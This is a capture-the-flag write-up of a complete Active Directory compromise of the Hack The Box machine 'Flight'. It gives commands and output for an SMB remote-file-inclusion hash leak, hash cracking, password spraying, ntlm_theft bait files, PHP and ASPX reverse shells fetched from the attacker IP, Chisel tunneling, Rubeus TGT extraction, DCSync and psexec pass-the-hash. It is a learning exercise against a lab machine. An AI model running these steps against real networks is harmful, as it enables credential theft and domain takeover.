Intro / Abstract#
I enjoyed doing Flight! It was not too hard but definitely put a lot of concepts together. It starts off with an RFI vulnerabilty which has some mitigations in place, but not enough. Using a password hash obtained from the RFI, we login as a non-privileged user who has write access to a public SMB share. We take advantage of this by dropping a malicious .ini file that forces authentication to our Responder instance, netting us the hash of C.Bum. Using their hash, we upload a web shell to the PHP server and obtain code execution. We then find a firewalled service on port 8000, an IIS HTTP server. We are able to use an ASP web shell to gain execution as IISAPPPOOL, a virtual service account which can authenticate as the DC. Using the service account, we extract the TGT using Rubeus, exfiltrate it, convert it to a ccache format, and psexec for root!
Enumeration#
As with any HTB machine, we start off with an nmap scan.
root@PixelVM:~/htb# nmap -sCV -p- -oN nmap.txt 10.10.11.187
Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-09 00:22 EDT
Nmap scan report for 10.10.11.187
Host is up (0.031s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-09 11:24:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49719/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-09T11:25:20
|_ start_date: N/A
|_clock-skew: 6h59m54s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 201.15 seconds
Judging from ports 53, 88, 445, etc. we can judge that this is a domain controller. LDAP on 389 reveals the hostname: flight.htb
. We can add it to our hosts file.
Easy checks#
When doing HTB machines, I always begin with the low-hanging fruit. SMB is a great place to start. We can easily check for any accessible file shares using netexec
.
# Null authentication check
root@PixelVM:~/htb/flight# nxc smb flight.htb -u '' -p ''
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\:
# Anonymous login check
root@PixelVM:~/htb/flight# nxc smb flight.htb -u 'pablo123' -p ''
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [-] flight.htb\pablo123: STATUS_LOGON_FAILURE
We can see that null authencation works! Let’s list the shares:
root@PixelVM:~/htb/flight# nxc smb flight.htb -u '' -p '' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\:
SMB 10.10.11.187 445 G0 [-] Error enumerating shares: STATUS_ACCESS_DENIED
HTTP#
Nmap revealed port 80 was open. Let’s check it out.
Clicking around, none of the buttons seem to actually do anything. Opening up the developer tools using F12, we see no outgoing requests.
Since we cannot find anything of interest, let’s run a scan to see if there are any virtual hosts we can find.
HOST
HTTP header instead of being a real DNS entry. Thus, tools to enumearate vhosts simply alter it.root@PixelVM:~/htb/flight# HOST=flight.htb; gobuster vhost -u http://$HOST -t 50 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -o scans/gobuster_vhost.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://flight.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: school.flight.htb Status: 200 [Size: 3996]
Gobuster found school.flight.htb
. Let’s add it to our hosts file and navigate to it:view
that points to home.html
. The URL also tells us that this is a PHP server.
Because it seems like the PHP server is including files via the query string, we can try a path traversal attack by requesting a file we know exists and is publicly readable such as C:\Windows\System32\drivers\etc\hosts
:
It seems like the developers of this site saw us coming from a mile away and put in a prevention for path traversal attacks. The error we get does confirm that this would have been a potential vulnerability, though.
Following this train of thought, we can try a remote file inclusion (RFI) instead of a local one (what we just attempting doing). An RFI would avoid the “../” characters. Furthermore, because the target machine is on Windows, we can try including a remote file over SMB. This would cause whatever account is running the PHP server to leak its hash to us.
We can run a dummy SMB server with Responder:
root@PixelVM:~/htb/flight# Responder.py -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
[+] Servers:
SMB server [ON]
Then, we can make a request with our RFI payload using curl
. My machine’s IP is 10.10.14.14
.
curl http://school.flight.htb/index.php?view=//10.10.14.14/share/file
Looking back at our Responder
pane, we get a hash for svc_apache
!
[SMB] NTLMv2-SSP Client : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:0946da73ae9cf8c7:3BCCDFA1CC5ED52EAD2DF11BEE04C78D:0101000000000000007554216AAADB012B2F1A0EA3CF09EA00000000020008004A004E004700410001001E00570049004E002D005400550030004E00380038004100510058004200350004003400570049004E002D005400550030004E0038003800410051005800420035002E004A004E00470041002E004C004F00430041004C00030014004A004E00470041002E004C004F00430041004C00050014004A004E00470041002E004C004F00430041004C0007000800007554216AAADB0106000400020000000800300030000000000000000000000000300000E85B97D5B587F5A0719FAA207218B3F1BD960FB69640E3364CB6D69561A43C950A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000
We can save our hash to a file and, using Hashcat, run our acquired hash against rockyou.txt
. I’m using the -O
flag to speed up the cracking process.
root@PixelVM:~/htb/flight# hashcat svc_apache.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -O
hashcat (v6.2.6) starting in autodetect mode
...
SVC_APACHE::flight:0946da73ae9cf8c7:3bccdfa1cc5ed52ead2df11bee04c78d:0101000000000000007554216aaadb012b2f1a0ea3cf09ea00000000020008004a004e004700410001001e00570049004e002d005400550030004e00380038004100510058004200350004003400570049004e002d005400550030004e0038003800410051005800420035002e004a004e00470041002e004c004f00430041004c00030014004a004e00470041002e004c004f00430041004c00050014004a004e00470041002e004c004f00430041004c0007000800007554216aaadb0106000400020000000800300030000000000000000000000000300000e85b97d5b587f5a0719faa207218b3f1bd960fb69640e3364cb6d69561a43c950a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310034000000000000000000:S@Ss!K@*t13
We get a hit, revealing svc_apache
’s password. Sadly, our credential does not grant us any login access. However, we can now enumerate the domain with greater clarity.
The first order of business is enumerating users. I’ll use netexec
once again, passing in the --users
flag. I’ll use the awk
command to get properly formatted list.
root@PixelVM:~/htb/flight# nxc smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --users | tee nxc_users.txt
# Format a nice list of users
root@PixelVM:~/htb/flight# cat nxc_users.txt | awk '{print $5}' | tee users.txt
# I've removed unnecessary users such as krbtgt and Guest
root@PixelVM:~/htb/flight# cat users.txt
Administrator
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum
After enumerating users, my next step is almost always to run a Bloodhound scan of the network. We can do that here using rusthound-ce
, but unfortunately that does not get us anywhere.
My next go-to is checking access to SMB shares. netexec
can do that for us again with the --shares
flag. Running the command, it appears we don’t have any special or privileged access to any shares.
Something to keep in mind is the account whose credentials we acquired is a service account, meaning it was likely configured by another user on the domain. Sometimes, people get lazy and reuse their own password for the service account. I’ve seen this time and time again. We can check this using kerbrute
:
# Kerberos relies on timestamps to operate, so syncing our clock with the DC is needed.
root@PixelVM:~/htb/flight# ntpdate flight.htb
2025-04-11 06:08:10.52488 (-0400) +25201.490228 +/- 0.015672 flight.htb 10.10.11.187 s1 no-leap
CLOCK: time stepped by 25201.490228
root@PixelVM:~/htb/flight# kerbrute passwordspray users.txt 'S@Ss!K@*t13' -d flight.htb --dc flight.htb
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 04/11/25 - Ronnie Flathers @ropnop
2025/04/11 06:08:16 > Using KDC(s):
2025/04/11 06:08:16 > flight.htb:88
2025/04/11 06:08:21 > [+] VALID LOGIN: [email protected]:S@Ss!K@*t13
2025/04/11 06:08:21 > [+] VALID LOGIN: [email protected]:S@Ss!K@*t13
2025/04/11 06:08:21 > Done! Tested 13 logins (2 successes) in 5.243 seconds
We can see that S.Moon
is reusing svc_apache
’s password. This is one of many reasons why we should never reuse passwords!
Now that we have new credentials, we can begin a new round of enumeration.
S.Moon#
Marking S.Moon
as owned in Bloodhound doesn’t seem to unlock any additional attack paths. Another easy thing to check is read/write access on SMB shares. Once again, netexec
does the job:
root@PixelVM:~/htb/flight# nxc smb flight.htb -u s.moon -p 'S@Ss!K@*t13' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\s.moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [*] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions
SMB 10.10.11.187 445 G0 ----- -----------
SMB 10.10.11.187 445 G0 ADMIN$
SMB 10.10.11.187 445 G0 C$
SMB 10.10.11.187 445 G0 IPC$ READ
SMB 10.10.11.187 445 G0 NETLOGON READ
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ
We can see that S.Moon
has read and write access to the Shared
share. Alarm bells should go off when access is gained to a public share. Someone else is likely viewing that share, we have a way to potentially steal hashes.
Certain filetypes such as .lnk
or .ini
files contain a field for an icon or similar resource. Usually, this icon is stored on the user’s local machine. However, the icon field can be set to point to an SMB server. On certain versions of Windows, if a user just looks at the file (without even clicking on it!), Windows will attempt to reach out the SMB server, authenticating if need be. We can take advatange of this “feature” to capture another user’s NTLMv2 hash, so long as we can drop a malicious .ini
, .url
, or any of the other hash theft files.
root@PixelVM:~/htb/flight# ntlm_theft.py --generate all --server 10.10.14.14 --filename 1upbyte
Created: 1upbyte/1upbyte.scf (BROWSE TO FOLDER)
Created: 1upbyte/1upbyte-(url).url (BROWSE TO FOLDER)
Created: 1upbyte/1upbyte-(icon).url (BROWSE TO FOLDER)
...
Created: 1upbyte/Autorun.inf (BROWSE TO FOLDER)
Created: 1upbyte/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
We can now place these files inside the root of the Shared
share that S.Moon has access to and spin up yet another Responder
instance:
root@PixelVM:~/htb/flight# Responder.py -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
[+] Servers:
SMB server [ON]
[SMB] NTLMv2-SSP Client : 10.10.11.187 [SMB] NTLMv2-SSP Username : flight.htb\c.bum [SMB] NTLMv2-SSP Hash : c.bum::flight.htb:277f6757743726bb:7A536C76FC8D370D89AF8F1D2B4CCF9B:010100000000000080B2682593B5DB01373887AF537863480000000002000800330050004200530001001E00570049004E002D004F003700570046005900520050004800570038005A0004003400570049004E002D004F003700570046005900520050004800570038005A002E0033005000420053002E004C004F00430041004C000300140033005000420053002E004C004F00430041004C000500140033005000420053002E004C004F00430041004C000700080080B2682593B5DB01060004000200000008003000300000000000000000000000003000005D582AC3AFB8F6296B0B14233DD8F4327FE1E474C72039C593E97F83F1D6343F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000
Success! We’ve obtained C.Bum’s hash. Using the same process as earlier, we crack their hash using Hashcat and rockyou.txt
root@PixelVM:~/htb/flight# hashcat c.bum.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -O
hashcat (v6.2.6) starting in autodetect mode
...
C.BUM::flight.htb:f4c89733ac6b2f03:ba211dd2476e7de95c9b2578928ddb74:010100000000000080b2682593b5db0103dd25b0903b508b0000000002000800330050004200530001001e00570049004e002d004f003700570046005900520050004800570038005a0004003400570049004e002d004f003700570046005900520050004800570038005a002e0033005000420053002e004c004f00430041004c000300140033005000420053002e004c004f00430041004c000500140033005000420053002e004c004f00430041004c000700080080b2682593b5db01060004000200000008003000300000000000000000000000003000005d582ac3afb8f6296b0b14233dd8f4327fe1e474c72039c593e97f83f1d6343f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310034000000000000000000:Tikkycoll_431012284
C.Bum#
Now with C.Bum’s password, we still don’t have any direct way to access the server. WinRM on port 5985 is not listening. So, we go back to the basics and start with the easy checks, the first one of course being SMB:
root@PixelVM:~/htb/flight# nxc smb flight.htb -u c.bum -p 'Tikkycoll_431012284' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\c.bum:Tikkycoll_431012284
SMB 10.10.11.187 445 G0 [*] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions
SMB 10.10.11.187 445 G0 ----- -----------
SMB 10.10.11.187 445 G0 ADMIN$
SMB 10.10.11.187 445 G0 C$
SMB 10.10.11.187 445 G0 IPC$ READ
SMB 10.10.11.187 445 G0 NETLOGON READ
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ,WRITE
Aha! We now have write access to the Web
share. Our earlier enumeration informed us that the school.flight.htb
is using PHP, which means we can likely drop a reverse shell into the web root and execute it as svc_apache
. The downside of this approach is svc_apache
has less permissions that C.Bum
or S.Moon
, but low-privilege code execution is better than no code execution at all.
There are a million different php webshells, but I used PHP cmd
from revshells.com. Once on the website, I like running a simple whoami
to ensure the shell is working.
With working code execution, we can now insert a reverse shell payload and stand up a listener on our attacker machine. I like using rlwrap -cAr
in front of my Netcat listener as it lets the arrows work properly and just makes using our shell easier.
root@PixelVM:~/htb/flight/1upbyte# rlwrap -cAr nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.187] 49843
whoami
flight\svc_apache
PS C:\xampp\htdocs\school.flight.htb>
Privilege escalation#
Now that we have a shell, we can start enumerating again! As someone who can be exceptionally lazy, I tend to look and go for the low-hanging fruit first. winPEAS is a wonderful script by carlospolop that checks for easy vulnerabilities such as exposed password files, improperly configured services, and more. Running the program, we notice the following output:
Current TCP Listening Ports
Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 80 0.0.0.0 0 Listening 5124 C:\Xampp\apache\bin\httpd.exe
TCP 0.0.0.0 88 0.0.0.0 0 Listening 644 lsass
...
TCP 0.0.0.0 8000 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 9389 0.0.0.0 0 Listening 2692 Microsoft.ActiveDirectory.WebServices
Port 8000 didn’t show up on our original Nmap scan! Since the service is listening on 0.0.0.0 (all interfaces), it means there is likely a firewall at play. No need to worry, for proxying tools such as Chisel come into play. Chisel allows one from and to two different machines. In our scenario, we will have the Chisel server on our attacker machine listening on port 9002. Then, on the Windows machine, we will run the Chisel client, telling it to connect to our server on port 9002. As it does that, we will also pass in an argument that takes the client’s port 8000 and forwards it to the server’s port 8000. This way, going to http://attackerip:8000 will tunnel us through to the client’s port 8000.
If that was confusing, hopefully actually running the commands will clear things up:
# On our attacker box
root@PixelVM:/opt/www# chisel server --reverse --socks5 -p 9002
# On the Windows machine
# We forward our localhost (R) to our server's localhost on port 8000
PS C:\ProgramData\1upbyte> .\chisel client 10.10.14.14:9002 R:127.0.0.1:8000
If everything went to plan, we should now be able to access flight.htb
’s port 8000 via our machine’s port 8000:
root@PixelVM:~/htb/flight# nc localhost 8000
testcmd
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Hooray! Netcat tells us this is an HTTP server, so we can visit the address using our preferred browser:
Clicking around the page, not much happens. All of the buttons and links do nothing. Going to the 404 page is a different story however:
Tons of juicy information is leaked, notably the path on the system where this page is stored! This website is also likely using IIS. We can dervie this from both the path (C:\inetpub is commonly used for IIS) and also by the way the error page looks. We may have code execution if we can put a .aspx file and run it. Let’s head over there in our shell and see what we can do:
PS C:\inetpub\development> cmd /c dir
Directory of C:\inetpub\development
04/25/2025 08:42 AM <DIR> .
04/25/2025 08:42 AM <DIR> ..
04/16/2018 02:23 PM 9,371 contact.html
04/25/2025 08:42 AM <DIR> css
04/25/2025 08:42 AM <DIR> fonts
04/25/2025 08:42 AM <DIR> img
04/16/2018 02:23 PM 45,949 index.html
04/25/2025 08:42 AM <DIR> js
Sure enough we see the files for the page. Unfortunately, svc_apache
doesn’t have enough permissions to write to this folder. Someone who might though is C.Bum
. They were able to write to the Web
share earlier, and remembering their group memberships from earlier in Bloodhound will tell us that C.Bum
is also part of the WebDevs
group.
Now normally, we would have no way of executing commands C.Bum
. The only reason why we can as svc_apache
is due to a reverse shell. Fortunately for us, a stellar utility named RunasCs exists. It is an alternative to Window’s built-in runas.exe
, but with some extra features. Notably, the -r
flag allows us to redirect stdin and stdout to our endpoint, i.e. a Netcat listener. As such, we can simply run powershell
as C.Bum
and send the input and output to ourselves, essentially netting us a reverse shell as C.Bum
.
PS C:\ProgramData\1upbyte> .\RunasCs c.bum Tikkycoll_431012284 powershell -r 10.10.14.14:9001
[*] Warning: The logon for user 'c.bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-5c831$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 1224 created in background.
On our listener:
root@PixelVM:/opt/www# rlwrap -cAr nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.187] 50013
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
flight\c.bum
We can now try dropping yet another reverse shell into the hidden webserver we found earlier. I used a shell made by qtc-de. Be sure to replace the IP and port inside!
curl.exe
and not just curl
! curl
(without the .exe
) in PowerShell is an alias of Invoke-WebRequest
.PS C:\inetpub\development> curl.exe -O 10.10.14.14/aspx-reverse-shell.aspx
curl.exe -O 10.10.14.14/aspx-reverse-shell.aspx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5103 100 5103 0 0 80491 0 --:--:-- --:--:-- --:--:-- 82306
We can now stand up a listener and hit the endpoint using Chisel + web browser combo from earlier:
root@PixelVM:~/htb/flight# rlwrap -cAr nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.187] 50130
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool
Very interesting account! These iis apppool
accounts are a type of service account called a Virtual Account. According to Microsoft’s website:
Virtual accounts: A managed local account that provides a simplified approach to service administration without the need for manual password management. They can access network resources using the computer account’s credentials , making them suitable for services that require domain access. Virtual accounts are automatically managed and require minimal configuration.
Since this account can talk to the domain and uses the domain controller’s machine account to do so, getting this account’s Kerberos Ticket (TGT) will allow us to perform a DCSync. Rubeus lets us acquire the TGT easily:
C:\ProgramData\1upbyte>.\Rubeus tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: udJNsP1g6Jzot9loB9T1XxryPYJMIfJtkWy0BCrjRKE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCB
...
DAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC
We can now copy and paste it over to our host and convert it to a .ccache file. Right now, the ticket is in base64, so we must first decode it. Then, we can use Impacket’s ticketConvert.py
to convert it over to a .ccache file that Linux can use:
root@PixelVM:~/htb/flight# cat ticket.kirbi.b64 | base64 -d > ticket.kirbi
root@PixelVM:~/htb/flight# ticketConverter.py ticket.kirbi ticket.ccache
Impacket v0.13.0.dev0+20250404.133223.00ced47 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
Now we can pass the ticket using Impacket’s secretsdump.py
to perform a DCSync attack and get the Administrator’s hash:
ntpdate
to synchronize them.root@PixelVM:~/htb/flight# ntpdate flight.htb
2025-04-25 12:44:19.326152 (-0400) +25199.384184 +/- 0.015119 flight.htb 10.10.11.187 s1 no-leap
CLOCK: time stepped by 25199.384184
root@PixelVM:~/htb/flight# secretsdump.py -k g0.flight.htb -just-dc-user Administrator
Impacket v0.13.0.dev0+20250404.133223.00ced47 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
[*] Cleaning up...
With the Administrator’s NTLM hash now in our hands, we can use Impacket’s psexec.py
to gain a maxmimum privilege shell!
root@PixelVM:~/htb/flight# psexec.py -hashes :43bbfc530bab76141b12c8446e30c17c [email protected]
Impacket v0.13.0.dev0+20250404.133223.00ced47 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on flight.htb.....
[*] Found writable share ADMIN$
[*] Uploading file jViPAoJd.exe
[*] Opening SVCManager on flight.htb.....
[*] Creating service ZHvo on flight.htb.....
[*] Starting service ZHvo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Conclusion#
While this machine was labeled as Hard, I didn’t find any of the indiviual steps particularly challenging. What gives this box its challenge to me is the combination of different techniques to eke out a privilege escalation path. I got to learn a lot about how machine accounts work and prior to this machine I had no idea that four different classes of service accounts existed. It amazes me just how much there is to learn about Active Directory and Microsoft systems in general.
This write-up is my first one ever! Please feel free to contact me with any suggestions or opinions you may have. Thank you for reading until the end. Happy hacking!